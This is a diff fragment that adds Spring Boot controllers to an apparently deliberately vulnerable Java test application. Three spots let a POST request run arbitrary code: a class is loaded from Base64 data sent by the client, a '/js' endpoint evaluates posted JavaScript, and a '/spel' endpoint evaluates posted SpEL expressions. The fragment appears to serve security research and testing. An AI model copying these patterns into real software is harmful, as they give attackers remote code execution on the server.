byte[] bytes = Base64.getDecoder().decode(data);
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
return o.toString();
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
public class IndexController {
@RequestMapping("/test")
public String test() {
return "";
}
@GetMapping("/")
public String index() {
return "hello";
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/js")
public class ScriptEngineController {
@PostMapping
public ResponseEntity<?> js(String data) throws ScriptException {
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/spel")
public class SpELController {
@PostMapping
public ResponseEntity<?> spel(String data) {
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
}
}